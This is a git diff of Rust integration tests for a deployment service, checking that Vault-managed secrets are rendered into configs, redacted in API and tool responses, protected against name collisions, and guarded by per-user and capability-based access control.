+    let Some(app) = common::spawn_app_with_vault().await else {
+        return;
+    };
+
+    let project_id = common::create_test_project(&app.db_pool, common::USER_A_ID).await;
+    let mut project = db::project::fetch(&app.db_pool, project_id)
+        .await
+        .expect("project fetch failed")
+        .expect("project missing");
+    project.request_json = json!({
+        "report": {
+            "deployment_hash": "deploy-hash-upload"
+        }
+    });
+
+    let device_api = create_test_project_app(&app.db_pool, project_id, "device-api").await;
+    let mut upload = create_test_project_app(&app.db_pool, project_id, "upload").await;
+    upload.environment = Some(json!({
+        "S3_BUCKET": "plain-value"
+    }));
+    let upload = db::project_app::update(&app.db_pool, &upload)
+        .await
+        .expect("upload app update failed");
+
+    let vault_path = format!(
+        "agent/users/{}/projects/{}/apps/{}/secrets/S3_BUCKET",
+        common::USER_A_ID,
+        project_id,
+        upload.code
+    );
+    db::remote_secret::upsert_service_secret(
+        &app.db_pool,
+        common::USER_A_ID,
+        project_id,
+        &upload.code,
+        "S3_BUCKET",
+        &vault_path,
+        common::USER_A_ID,
+        "synced",
+    )
+    .await
+    .expect("service secret metadata insert failed");
+
+    Mock::given(method("GET"))
+        .and(path_regex(format!(r"/v1/{}", vault_path)))
+        .respond_with(ResponseTemplate::new(200).set_body_json(json!({
+            "data": {
+                "data": {
+                    "value": "superbucket"
+                }
+            }
+        })))
+        .mount(&app.vault_server)
+        .await;
+
+    let mut configuration = get_configuration().expect("Failed to get configuration");
+    configuration.vault.address = app.vault_server.uri();
+    configuration.vault.token = "test-vault-token".to_string();
+    configuration.vault.api_prefix = "v1".to_string();
+    configuration.vault.agent_path_prefix = "agent".to_string();
+    let vault_service =
+        VaultService::from_settings(&configuration.vault).expect("failed to build vault service");
+    let renderer = ConfigRenderer::with_vault(vault_service).expect("renderer init failed");
+
+    let bundle = renderer
+        .render_bundle(
+            &app.db_pool,
+            &project,
+            &[device_api.clone(), upload.clone()],
+            "deploy-hash-upload",
+        )
+        .await
+        .expect("render bundle failed");
+
+    let upload_env = &bundle.app_configs.get("upload").unwrap().content;
+    let device_api_env = &bundle.app_configs.get("device-api").unwrap().content;
+
+    assert!(upload_env.contains("S3_BUCKET=superbucket"));
+    assert!(!upload_env.contains("S3_BUCKET=plain-value"));
+    assert!(!device_api_env.contains("S3_BUCKET="));
+}
+
+#[tokio::test]
+async fn test_get_env_vars_includes_remote_secret_placeholders() {
+    let Some(app) = common::spawn_app_with_vault().await else {
+        return;
+    };
+
+    let project_id = common::create_test_project(&app.db_pool, common::USER_A_ID).await;
+    let mut project_app = create_test_project_app(&app.db_pool, project_id, "web").await;
+    project_app.environment = Some(json!({
+        "VISIBLE_KEY": "plain-value"
+    }));
+    db::project_app::update(&app.db_pool, &project_app)
+        .await
+        .expect("project app update failed");
+
+    Mock::given(method("POST"))
+        .and(path_regex(service_secret_path_regex(
+            common::USER_A_ID,
+            project_id,
+            &project_app.code,
+            "S3_SECRET",
+        )))
+        .respond_with(ResponseTemplate::new(200))
+        .mount(&app.vault_server)
+        .await;
+
+    reqwest::Client::new()
+        .put(format!(
+            "{}/project/{}/apps/{}/secrets/S3_SECRET",
+            app.address, project_id, project_app.code
+        ))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .json(&json!({ "value": "supersecret" }))
+        .send()
+        .await
+        .expect("service secret PUT failed");
+
+    let response = reqwest::Client::new()
+        .get(format!(
+            "{}/project/{}/apps/{}/env",
+            app.address, project_id, project_app.code
+        ))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .send()
+        .await
+        .expect("get env vars failed");
+
+    assert_eq!(response.status(), StatusCode::OK);
+    let body: Value = response
+        .json()
+        .await
+        .expect("response body should be valid json");
+    assert_eq!(body["item"]["variables"]["VISIBLE_KEY"], "plain-value");
+    assert_eq!(body["item"]["variables"]["S3_SECRET"], "[REDACTED]");
+    assert_eq!(
+        body["item"]["runtime_env_contract"],
+        serde_json::to_value(runtime_env_contract_response()).unwrap()
+    );
+}
+
+#[tokio::test]
+async fn test_get_app_redacts_plain_and_remote_secret_values() {
+    let Some(app) = common::spawn_app_with_vault().await else {
+        return;
+    };
+
+    let project_id = common::create_test_project(&app.db_pool, common::USER_A_ID).await;
+    let mut project_app = create_test_project_app(&app.db_pool, project_id, "web").await;
+    project_app.environment = Some(json!({
+        "VISIBLE_KEY": "plain-value",
+        "LOCAL_PASSWORD": "db-secret"
+    }));
+    db::project_app::update(&app.db_pool, &project_app)
+        .await
+        .expect("project app update failed");
+
+    let vault_path = format!(
+        "agent/users/{}/projects/{}/apps/{}/secrets/S3_SECRET",
+        common::USER_A_ID,
+        project_id,
+        project_app.code
+    );
+    db::remote_secret::upsert_service_secret(
+        &app.db_pool,
+        common::USER_A_ID,
+        project_id,
+        &project_app.code,
+        "S3_SECRET",
+        &vault_path,
+        common::USER_A_ID,
+        "synced",
+    )
+    .await
+    .expect("service secret metadata insert failed");
+
+    let response = reqwest::Client::new()
+        .get(format!(
+            "{}/project/{}/apps/{}",
+            app.address, project_id, project_app.code
+        ))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .send()
+        .await
+        .expect("get app failed");
+
+    assert_eq!(response.status(), StatusCode::OK);
+    let body: Value = response
+        .json()
+        .await
+        .expect("response body should be valid json");
+    assert_eq!(body["item"]["environment"]["VISIBLE_KEY"], "plain-value");
+    assert_eq!(body["item"]["environment"]["LOCAL_PASSWORD"], "[REDACTED]");
+    assert_eq!(body["item"]["environment"]["S3_SECRET"], "[REDACTED]");
+    assert_eq!(
+        body["item"]["runtime_env_contract"],
+        serde_json::to_value(runtime_env_contract_response()).unwrap()
+    );
+}
+
+#[tokio::test]
+async fn test_create_app_rejects_remote_secret_name_collision() {
+    let Some(app) = common::spawn_app_with_vault().await else {
+        return;
+    };
+
+    let project_id = common::create_test_project(&app.db_pool, common::USER_A_ID).await;
+    let vault_path = format!(
+        "agent/users/{}/projects/{}/apps/{}/secrets/S3_SECRET",
+        common::USER_A_ID,
+        project_id,
+        "web"
+    );
+    db::remote_secret::upsert_service_secret(
+        &app.db_pool,
+        common::USER_A_ID,
+        project_id,
+        "web",
+        "S3_SECRET",
+        &vault_path,
+        common::USER_A_ID,
+        "synced",
+    )
+    .await
+    .expect("service secret metadata insert failed");
+
+    let response = reqwest::Client::new()
+        .post(format!("{}/project/{}/apps", app.address, project_id))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .json(&json!({
+            "code": "web",
+            "image": "nginx:stable",
+            "env": {
+                "S3_SECRET": "plain-value",
+                "VISIBLE_KEY": "plain-value"
+            }
+        }))
+        .send()
+        .await
+        .expect("create app failed");
+
+    assert_eq!(response.status(), StatusCode::CONFLICT);
+    let body = response
+        .text()
+        .await
+        .expect("response body should be readable");
+    assert!(body.contains("managed as a remote service secret"));
+
+    let created = db::project_app::fetch_by_project_and_code(&app.db_pool, project_id, "web")
+        .await
+        .expect("app fetch failed");
+    assert!(created.is_none(), "conflicting app should not be created");
+    assert_eq!(app.vault_server.received_requests().await.unwrap().len(), 0);
+}
+
+#[tokio::test]
+async fn test_update_env_vars_rejects_remote_secret_name_collision() {
+    let Some(app) = common::spawn_app_with_vault().await else {
+        return;
+    };
+
+    let project_id = common::create_test_project(&app.db_pool, common::USER_A_ID).await;
+    let project_app = create_test_project_app(&app.db_pool, project_id, "web").await;
+
+    Mock::given(method("POST"))
+        .and(path_regex(service_secret_path_regex(
+            common::USER_A_ID,
+            project_id,
+            &project_app.code,
+            "S3_SECRET",
+        )))
+        .respond_with(ResponseTemplate::new(200))
+        .mount(&app.vault_server)
+        .await;
+
+    reqwest::Client::new()
+        .put(format!(
+            "{}/project/{}/apps/{}/secrets/S3_SECRET",
+            app.address, project_id, project_app.code
+        ))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .json(&json!({ "value": "supersecret" }))
+        .send()
+        .await
+        .expect("service secret PUT failed");
+
+    let response = reqwest::Client::new()
+        .put(format!(
+            "{}/project/{}/apps/{}/env",
+            app.address, project_id, project_app.code
+        ))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .json(&json!({
+            "variables": {
+                "S3_SECRET": "plain-value"
+            }
+        }))
+        .send()
+        .await
+        .expect("update env vars failed");
+
+    assert_eq!(response.status(), StatusCode::CONFLICT);
+}
+
+#[tokio::test]
+async fn test_mcp_get_app_env_vars_redacts_remote_service_secret_values() {
+    let Some(app) = common::spawn_app_with_vault().await else {
+        return;
+    };
+
+    let project_id = common::create_test_project(&app.db_pool, common::USER_A_ID).await;
+    let mut project_app = create_test_project_app(&app.db_pool, project_id, "web").await;
+    project_app.environment = Some(json!({
+        "VISIBLE_KEY": "plain-value",
+        "LOCAL_PASSWORD": "db-secret"
+    }));
+    db::project_app::update(&app.db_pool, &project_app)
+        .await
+        .expect("project app update failed");
+
+    let vault_path = format!(
+        "agent/users/{}/projects/{}/apps/{}/secrets/S3_SECRET",
+        common::USER_A_ID,
+        project_id,
+        project_app.code
+    );
+    db::remote_secret::upsert_service_secret(
+        &app.db_pool,
+        common::USER_A_ID,
+        project_id,
+        &project_app.code,
+        "S3_SECRET",
+        &vault_path,
+        common::USER_A_ID,
+        "synced",
+    )
+    .await
+    .expect("service secret metadata insert failed");
+
+    let context = tool_context(&app.db_pool);
+    let result = GetAppEnvVarsTool
+        .execute(
+            json!({
+                "project_id": project_id,
+                "app_code": project_app.code
+            }),
+            &context,
+        )
+        .await
+        .expect("mcp get_app_env_vars should succeed");
+
+    let body = tool_text_json(result);
+    assert_eq!(body["environment_variables"]["VISIBLE_KEY"], "plain-value");
+    assert_eq!(
+        body["environment_variables"]["LOCAL_PASSWORD"],
+        "[REDACTED]"
+    );
+    assert_eq!(body["environment_variables"]["S3_SECRET"], "[REDACTED]");
+    assert_eq!(body["count"], 3);
+    assert_eq!(
+        body["runtime_env_contract"],
+        serde_json::to_value(runtime_env_contract_response()).unwrap()
+    );
+}
+
+#[tokio::test]
+async fn test_mcp_get_app_config_redacts_remote_service_secret_values() {
+    let Some(app) = common::spawn_app_with_vault().await else {
+        return;
+    };
+
+    let project_id = common::create_test_project(&app.db_pool, common::USER_A_ID).await;
+    let mut project_app = create_test_project_app(&app.db_pool, project_id, "web").await;
+    project_app.environment = Some(json!({
+        "VISIBLE_KEY": "plain-value",
+        "LOCAL_PASSWORD": "db-secret"
+    }));
+    db::project_app::update(&app.db_pool, &project_app)
+        .await
+        .expect("project app update failed");
+
+    let vault_path = format!(
+        "agent/users/{}/projects/{}/apps/{}/secrets/S3_SECRET",
+        common::USER_A_ID,
+        project_id,
+        project_app.code
+    );
+    db::remote_secret::upsert_service_secret(
+        &app.db_pool,
+        common::USER_A_ID,
+        project_id,
+        &project_app.code,
+        "S3_SECRET",
+        &vault_path,
+        common::USER_A_ID,
+        "synced",
+    )
+    .await
+    .expect("service secret metadata insert failed");
+
+    let context = tool_context(&app.db_pool);
+    let result = GetAppConfigTool
+        .execute(
+            json!({
+                "project_id": project_id,
+                "app_code": project_app.code
+            }),
+            &context,
+        )
+        .await
+        .expect("mcp get_app_config should succeed");
+
+    let body = tool_text_json(result);
+    assert_eq!(body["environment_variables"]["VISIBLE_KEY"], "plain-value");
+    assert_eq!(
+        body["environment_variables"]["LOCAL_PASSWORD"],
+        "[REDACTED]"
+    );
+    assert_eq!(body["environment_variables"]["S3_SECRET"], "[REDACTED]");
+    assert_eq!(
+        body["runtime_env_contract"],
+        serde_json::to_value(runtime_env_contract_response()).unwrap()
+    );
+}
+
+#[tokio::test]
+async fn test_mcp_set_app_env_var_rejects_remote_secret_name_collision() {
+    let Some(app) = common::spawn_app_with_vault().await else {
+        return;
+    };
+
+    let project_id = common::create_test_project(&app.db_pool, common::USER_A_ID).await;
+    let mut project_app = create_test_project_app(&app.db_pool, project_id, "web").await;
+    project_app.environment = Some(json!({
+        "VISIBLE_KEY": "plain-value"
+    }));
+    db::project_app::update(&app.db_pool, &project_app)
+        .await
+        .expect("project app update failed");
+
+    let vault_path = format!(
+        "agent/users/{}/projects/{}/apps/{}/secrets/S3_SECRET",
+        common::USER_A_ID,
+        project_id,
+        project_app.code
+    );
+    db::remote_secret::upsert_service_secret(
+        &app.db_pool,
+        common::USER_A_ID,
+        project_id,
+        &project_app.code,
+        "S3_SECRET",
+        &vault_path,
+        common::USER_A_ID,
+        "synced",
+    )
+    .await
+    .expect("service secret metadata insert failed");
+
+    let context = tool_context(&app.db_pool);
+    let error = SetAppEnvVarTool
+        .execute(
+            json!({
+                "project_id": project_id,
+                "app_code": project_app.code,
+                "name": "S3_SECRET",
+                "value": "plain-value"
+            }),
+            &context,
+        )
+        .await
+        .expect_err("mcp set_app_env_var should reject remote secret collision");
+
+    assert!(error.contains("managed as a remote service secret"));
+
+    let updated = db::project_app::fetch_by_project_and_code(&app.db_pool, project_id, "web")
+        .await
+        .expect("app fetch failed")
+        .expect("app should exist");
+    let environment = updated.environment.expect("app environment should exist");
+    assert_eq!(environment["VISIBLE_KEY"], "plain-value");
+    assert!(environment.get("S3_SECRET").is_none());
+}
+
+#[tokio::test]
+async fn test_mcp_get_remote_service_secret_marks_metadata_secure() {
+    let Some(app) = common::spawn_app_with_vault().await else {
+        return;
+    };
+
+    let project_id = common::create_test_project(&app.db_pool, common::USER_A_ID).await;
+    let project_app = create_test_project_app(&app.db_pool, project_id, "web").await;
+    let vault_path = format!(
+        "agent/users/{}/projects/{}/apps/{}/secrets/S3_SECRET",
+        common::USER_A_ID,
+        project_id,
+        project_app.code
+    );
+    db::remote_secret::upsert_service_secret(
+        &app.db_pool,
+        common::USER_A_ID,
+        project_id,
+        &project_app.code,
+        "S3_SECRET",
+        &vault_path,
+        common::USER_A_ID,
+        "synced",
+    )
+    .await
+    .expect("service secret metadata insert failed");
+
+    let context = tool_context(&app.db_pool);
+    let result = GetRemoteServiceSecretTool
+        .execute(
+            json!({
+                "project_id": project_id,
+                "target_code": project_app.code,
+                "name": "S3_SECRET"
+            }),
+            &context,
+        )
+        .await
+        .expect("mcp get_remote_service_secret should succeed");
+
+    let body = tool_text_json(result);
+    assert_eq!(body["secret"]["name"], "S3_SECRET");
+    assert_eq!(body["secret"]["source"], "vault");
+    assert_eq!(body["secret"]["secure"], true);
+}
diff --git a/tests/runtime_env_contract.rs b/tests/runtime_env_contract.rs
new file mode 100644
index 00000000..dee9ba27
--- /dev/null
+++ b/tests/runtime_env_contract.rs
@@ -0,0 +1,52 @@
+use serde_json::Value;
+use stacker::services::runtime_env_contract_response;
+
+/// Load the shared runtime env contract.
+///
+/// Note: This contract is mirrored from
+/// ../config/shared-fixtures/runtime-env-contract.json
+/// to stacker/tests/contracts/runtime-env-contract.contract.json
+/// for reliable CI access.
+fn load_contract() -> Value {
+    let contract_json = include_str!("contracts/runtime-env-contract.contract.json");
+    serde_json::from_str(contract_json).expect("contract JSON should be valid")
+}
+
+#[test]
+fn runtime_env_contract_has_expected_metadata() {
+    let contract = load_contract();
+
+    assert_eq!(contract["title"].as_str(), Some("runtime-env-contract"));
+    assert_eq!(contract["_owner"].as_str(), Some("trydirect/config"));
+    assert_eq!(contract["version"].as_str(), Some("v1"));
+    assert_eq!(contract["order"].as_str(), Some("lowest_to_highest"));
+}
+
+#[test]
+fn stacker_runtime_env_contract_matches_shared_fixture() {
+    let contract = load_contract();
+    let exported = serde_json::to_value(runtime_env_contract_response())
+        .expect("runtime env contract should serialize");
+
+    assert_eq!(exported["version"], contract["version"]);
+    assert_eq!(exported["order"], contract["order"]);
+    assert_eq!(exported["layers"], contract["layers"]);
+}
+
+#[test]
+fn runtime_env_contract_inspection_fields_match_expected_outputs() {
+    let contract = load_contract();
+
+    assert_eq!(
+        contract["inspectionOutputs"]["runtimeEnvContractField"].as_str(),
+        Some("runtime_env_contract")
+    );
+    assert_eq!(
+        contract["inspectionOutputs"]["remoteSecretMetadata"]["source"].as_str(),
+        Some("vault")
+    );
+    assert_eq!(
+        contract["inspectionOutputs"]["remoteSecretMetadata"]["secure"].as_bool(),
+        Some(true)
+    );
+}
diff --git a/tests/security_admin.rs b/tests/security_admin.rs
index 5d714eac..ee68f2cc 100644
--- a/tests/security_admin.rs
+++ b/tests/security_admin.rs
@@ -5,7 +5,6 @@ use common::{USER_A_TOKEN, USER_B_TOKEN};
 /// Admin endpoints (/admin/*) are protected by Casbin RBAC.
 /// Mock users have role "group_user" which has no admin policies.
 /// Requests should be denied with 403 Forbidden.
-
 #[tokio::test]
 async fn test_admin_list_users_rejects_non_admin() {
     let Some(app) = common::spawn_app_two_users().await else {
@@ -38,10 +37,7 @@ async fn test_admin_routes_reject_unauthenticated() {
     let admin_endpoints = vec![
         ("GET", format!("{}/admin/rating", &app.address)),
         ("GET", format!("{}/admin/rating/1", &app.address)),
-        (
-            "PUT",
-            format!("{}/admin/client/1/enable", &app.address),
-        ),
+        ("PUT", format!("{}/admin/client/1/enable", &app.address)),
     ];
 
     for (method, url) in admin_endpoints {
@@ -74,18 +70,9 @@ async fn test_admin_endpoint_not_accessible_to_regular_user() {
     let admin_endpoints = vec![
         ("GET", format!("{}/admin/rating", &app.address)),
         ("GET", format!("{}/admin/rating/999", &app.address)),
-        (
-            "PUT",
-            format!("{}/admin/client/999", &app.address),
-        ),
-        (
-            "PUT",
-            format!("{}/admin/client/999/enable", &app.address),
-        ),
-        (
-            "PUT",
-            format!("{}/admin/client/999/disable", &app.address),
-        ),
+        ("PUT", format!("{}/admin/client/999", &app.address)),
+        ("PUT", format!("{}/admin/client/999/enable", &app.address)),
+        ("PUT", format!("{}/admin/client/999/disable", &app.address)),
     ];
 
     for (method, url) in admin_endpoints {
diff --git a/tests/security_agent.rs b/tests/security_agent.rs
index 9abe0f0f..51790975 100644
--- a/tests/security_agent.rs
+++ b/tests/security_agent.rs
@@ -6,9 +6,11 @@
 mod common;
 
 use common::{
-    create_test_deployment, create_test_project, spawn_app_two_users, USER_A_ID, USER_A_TOKEN,
-    USER_B_TOKEN,
+    create_test_deployment, create_test_project, spawn_app_two_users,
+    spawn_app_two_users_with_user_service, USER_A_ID, USER_A_TOKEN, USER_B_TOKEN,
 };
+use wiremock::matchers::{header, method, path};
+use wiremock::{Mock, MockServer, ResponseTemplate};
 
 /// Helper: insert a command directly into the DB for testing.
 async fn insert_test_command(
@@ -30,6 +32,31 @@ async fn insert_test_command(
     cmd_id
 }
 
+async fn insert_test_agent(
+    pool: &sqlx::PgPool,
+    deployment_hash: &str,
+    capabilities: serde_json::Value,
+) {
+    sqlx::query(
+        r#"
+        INSERT INTO agents (
+            deployment_hash,
+            capabilities,
+            status,
+            last_heartbeat,
+            created_at,
+            updated_at
+        )
+        VALUES ($1, $2, 'online', NOW(), NOW(), NOW())
+        "#,
+    )
+    .bind(deployment_hash)
+    .bind(capabilities)
+    .execute(pool)
+    .await
+    .expect("Failed to insert test agent");
+}
+
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // Enqueue — User B should NOT enqueue on User A's deployment
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -47,10 +74,7 @@ async fn test_enqueue_command_rejects_other_user() {
 
     // User B tries to enqueue a command on User A's deployment
     let resp = client
-        .post(format!(
-            "{}/api/v1/agent/commands/enqueue",
-            &app.address
-        ))
+        .post(format!("{}/api/v1/agent/commands/enqueue", &app.address))
         .header("Authorization", format!("Bearer {}", USER_B_TOKEN))
         .json(&serde_json::json!({
             "deployment_hash": "dep-a-001",
@@ -79,10 +103,7 @@ async fn test_owner_can_enqueue_on_own_deployment() {
     let _dep_id = create_test_deployment(&app.db_pool, USER_A_ID, project_id, "dep-own-001").await;
 
     let resp = client
-        .post(format!(
-            "{}/api/v1/agent/commands/enqueue",
-            &app.address
-        ))
+        .post(format!("{}/api/v1/agent/commands/enqueue", &app.address))
         .header("Authorization", format!("Bearer {}", USER_A_TOKEN))
         .json(&serde_json::json!({
             "deployment_hash": "dep-own-001",
@@ -100,6 +121,162 @@ async fn test_owner_can_enqueue_on_own_deployment() {
     );
 }
 
+#[tokio::test]
+async fn test_pipe_enqueue_rejects_agent_without_pipes_capability() {
+    let Some(app) = spawn_app_two_users().await else {
+        return;
+    };
+    let client = reqwest::Client::new();
+
+    let project_id = create_test_project(&app.db_pool, USER_A_ID).await;
+    let _dep_id =
+        create_test_deployment(&app.db_pool, USER_A_ID, project_id, "dep-pipe-cap-001").await;
+
+    insert_test_agent(
+        &app.db_pool,
+        "dep-pipe-cap-001",
+        serde_json::json!(["docker", "compose", "logs"]),
+    )
+    .await;
+
+    let resp = client
+        .post(format!("{}/api/v1/agent/commands/enqueue", &app.address))
+        .header("Authorization", format!("Bearer {}", USER_A_TOKEN))
+        .json(&serde_json::json!({
+            "deployment_hash": "dep-pipe-cap-001",
+            "command_type": "activate_pipe",
+            "parameters": {
+                "pipe_instance_id": "11111111-1111-1111-1111-111111111111",
+                "target_url": "https://example.com/hook",
+                "trigger_type": "webhook"
+            }
+        }))
+        .send()
+        .await
+        .expect("Failed to send request");
+
+    assert_eq!(
+        resp.status(),
+        400,
+        "Pipe enqueue should be rejected when agent lacks pipes capability. Got: {}",
+        resp.status()
+    );
+
+    let body: serde_json::Value = resp.json().await.expect("Response should be JSON");
+    let body_text = body.to_string();
+    assert!(
+        body_text.contains("does not support pipe commands"),
+        "Expected pipe capability error, got: {}",
+        body_text
+    );
+}
+
+#[tokio::test]
+async fn test_capabilities_rejects_unauthenticated() {
+    let Some(app) = spawn_app_two_users().await else {
+        return;
+    };
+    let client = reqwest::Client::new();
+
+    let project_id = create_test_project(&app.db_pool, USER_A_ID).await;
+    let _dep_id = create_test_deployment(&app.db_pool, USER_A_ID, project_id, "dep-cap-anon").await;
+    insert_test_agent(
+        &app.db_pool,
+        "dep-cap-anon",
+        serde_json::json!(["docker", "compose", "logs"]),
+    )
+    .await;
+
+    let resp = client
+        .get(format!(
+            "{}/api/v1/deployments/dep-cap-anon/capabilities",
+            &app.address
+        ))
+        .send()
+        .await
+        .expect("Failed to send request");
+
+    assert_eq!(
+        resp.status(),
+        403,
+        "Capabilities should not be visible anonymously. Got: {}",
+        resp.status()
+    );
+}
+
+#[tokio::test]
+async fn test_capabilities_rejects_other_user() {
+    let Some(app) = spawn_app_two_users().await else {
+        return;
+    };
+    let client = reqwest::Client::new();
+
+    let project_id = create_test_project(&app.db_pool, USER_A_ID).await;
+    let _dep_id =
+        create_test_deployment(&app.db_pool, USER_A_ID, project_id, "dep-cap-owner").await;
+    insert_test_agent(
+        &app.db_pool,
+        "dep-cap-owner",
+        serde_json::json!(["docker", "compose", "logs"]),
+    )
+    .await;
+
+    let resp = client
+        .get(format!(
+            "{}/api/v1/deployments/dep-cap-owner/capabilities",
+            &app.address
+        ))
+        .header("Authorization", format!("Bearer {}", USER_B_TOKEN))
+        .send()
+        .await
+        .expect("Failed to send request");
+
+    assert_eq!(
+        resp.status(),
+        404,
+        "Capabilities for another user's deployment should be hidden. Got: {}",
+        resp.status()
+    );
+}
+
+#[tokio::test]
+async fn test_owner_can_read_deployment_capabilities() {
+    let Some(app) = spawn_app_two_users().await else {
+        return;
+    };
+    let client = reqwest::Client::new();
+
+    let project_id = create_test_project(&app.db_pool, USER_A_ID).await;
+    let _dep_id = create_test_deployment(&app.db_pool, USER_A_ID, project_id, "dep-cap-own").await;
+    insert_test_agent(
+        &app.db_pool,
+        "dep-cap-own",
+        serde_json::json!(["docker", "compose", "logs", "pipes"]),
+    )
+    .await;
+
+    let resp = client
+        .get(format!(
+            "{}/api/v1/deployments/dep-cap-own/capabilities",
+            &app.address
+        ))
+        .header("Authorization", format!("Bearer {}", USER_A_TOKEN))
+        .send()
+        .await
+        .expect("Failed to send request");
+
+    assert_eq!(
+        resp.status(),
+        200,
+        "Owner should read deployment capabilities. Got: {}",
+        resp.status()
+    );
+
+    let body: serde_json::Value = resp.json().await.expect("Response should be JSON");
+    assert_eq!(body["deployment_hash"], "dep-cap-own");
+    assert_eq!(body["features"]["pipes"], true);
+}
+
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // Commands list — User B should NOT list User A's commands
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -117,10 +294,7 @@ async fn test_list_commands_rejects_other_user() {
 
     // User B tries to list User A's commands
     let resp = client
-        .get(format!(
-            "{}/api/v1/commands/dep-cmd-a",
-            &app.address
-        ))
+        .get(format!("{}/api/v1/commands/dep-cmd-a", &app.address))
         .header("Authorization", format!("Bearer {}", USER_B_TOKEN))
         .send()
         .await
@@ -175,15 +349,11 @@ async fn test_owner_can_list_own_commands() {
     let client = reqwest::Client::new();
 
     let project_id = create_test_project(&app.db_pool, USER_A_ID).await;
-    let _dep_id =
-        create_test_deployment(&app.db_pool, USER_A_ID, project_id, "dep-cmd-own").await;
+    let _dep_id = create_test_deployment(&app.db_pool, USER_A_ID, project_id, "dep-cmd-own").await;
     let _cmd_id = insert_test_command(&app.db_pool, "dep-cmd-own", USER_A_ID).await;
 
     let resp = client
-        .get(format!(
-            "{}/api/v1/commands/dep-cmd-own",
-            &app.address
-        ))
+        .get(format!("{}/api/v1/commands/dep-cmd-own", &app.address))
         .header("Authorization", format!("Bearer {}", USER_A_TOKEN))
         .send()
         .await
@@ -192,10 +362,7 @@ async fn test_owner_can_list_own_commands() {
     assert!(resp.status().is_success(), "Owner should list own commands");
     let body: serde_json::Value = resp.json().await.unwrap();
     let list = body["list"].as_array().expect("Expected list field");
-    assert!(
-        !list.is_empty(),
-        "Owner should see at least one command"
-    );
+    assert!(!list.is_empty(), "Owner should see at least one command");
 }
 
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -210,10 +377,7 @@ async fn test_enqueue_rejects_unauthenticated() {
     let client = reqwest::Client::new();
 
     let resp = client
-        .post(format!(
-            "{}/api/v1/agent/commands/enqueue",
-            &app.address
-        ))
+        .post(format!("{}/api/v1/agent/commands/enqueue", &app.address))
         // No Authorization header
         .json(&serde_json::json!({
             "deployment_hash": "dep-test",
@@ -223,10 +387,12 @@ async fn test_enqueue_rejects_unauthenticated() {
         .await
         .expect("Failed to send request");
 
+    // Unauthenticated requests are handled by the 'anonym' Casbin role, which
+    // Casbin denies with 403 (not 401).
     assert_eq!(
         resp.status(),
-        401,
-        "Unauthenticated enqueue should be 401. Got: {}",
+        403,
+        "Unauthenticated enqueue should be 403. Got: {}",
         resp.status()
     );
 }
@@ -239,18 +405,91 @@ async fn test_commands_list_rejects_unauthenticated() {
     let client = reqwest::Client::new();
 
     let resp = client
-        .get(format!(
-            "{}/api/v1/commands/some-hash",
-            &app.address
-        ))
+        .get(format!("{}/api/v1/commands/some-hash", &app.address))
         .send()
         .await
         .expect("Failed to send request");
 
+    // Unauthenticated requests are handled by the 'anonym' Casbin role, which
+    // Casbin denies with 403 (not 401).
     assert_eq!(
         resp.status(),
-        401,
-        "Unauthenticated command list should be 401. Got: {}",
+        403,
+        "Unauthenticated command list should be 403. Got: {}",
         resp.status()
     );
 }
+
+#[tokio::test]
+async fn test_owner_can_enqueue_and_list_commands_for_legacy_installation_hash() {
+    let user_service = MockServer::start().await;
+    let auth_header = format!("Bearer {}", USER_A_TOKEN);
+    Mock::given(method("GET"))
+        .and(path("/api/1.0/installations"))
+        .and(header("authorization", auth_header.as_str()))
+        .respond_with(ResponseTemplate::new(200).set_body_json(serde_json::json!({
+            "_items": [{
+                "_id": 13830,
+                "stack_code": "openclaw",
+                "status": "completed",
+                "cloud": "hetzner",
+                "deployment_hash": "legacy-dep-13830",
+                "domain": "openclawtest1.com",
+                "_created": "2026-04-13T10:00:00Z",
+                "_updated": "2026-04-13T10:05:00Z"
+            }]
+        })))
+        .mount(&user_service)
+        .await;
+
+    // hydrate_legacy_installation fetches the detail endpoint when _id is set
+    Mock::given(method("GET"))
+        .and(path("/api/1.0/installations/13830"))
+        .and(header("authorization", auth_header.as_str()))
+        .respond_with(ResponseTemplate::new(200).set_body_json(serde_json::json!({
+            "_id": 13830,
+            "stack_code": "openclaw",
+            "status": "completed",
+            "cloud": "hetzner",
+            "deployment_hash": "legacy-dep-13830",
+            "domain": "openclawtest1.com",
+            "_created": "2026-04-13T10:00:00Z",
+            "_updated": "2026-04-13T10:05:00Z"
+        })))
+        .mount(&user_service)
+        .await;
+
+    let Some(app) = spawn_app_two_users_with_user_service(&user_service.uri()).await else {
+        return;
+    };
+    let client = reqwest::Client::new();
+
+    let enqueue = client
+        .post(format!("{}/api/v1/agent/commands/enqueue", &app.address))
+        .header("Authorization", format!("Bearer {}", USER_A_TOKEN))
+        .json(&serde_json::json!({
+            "deployment_hash": "legacy-dep-13830",
+            "command_type": "status"
+        }))
+        .send()
+        .await
+        .expect("Failed to enqueue legacy command");
+
+    assert_eq!(enqueue.status(), 201);
+
+    let list = client
+        .get(format!("{}/api/v1/commands/legacy-dep-13830", &app.address))
+        .header("Authorization", format!("Bearer {}", USER_A_TOKEN))
+        .send()
+        .await
+        .expect("Failed to list legacy commands");
+
+    assert!(
+        list.status().is_success(),
+        "Owner should list legacy commands"
+    );
+    let body: serde_json::Value = list.json().await.expect("List response should be json");
+    let commands = body["list"].as_array().expect("Expected list field");
+    assert_eq!(commands.len(), 1);
+    assert_eq!(commands[0]["deployment_hash"], "legacy-dep-13830");
+}
diff --git a/tests/security_chat.rs b/tests/security_chat.rs
index 7a6407a8..9879ebfa 100644
--- a/tests/security_chat.rs
+++ b/tests/security_chat.rs
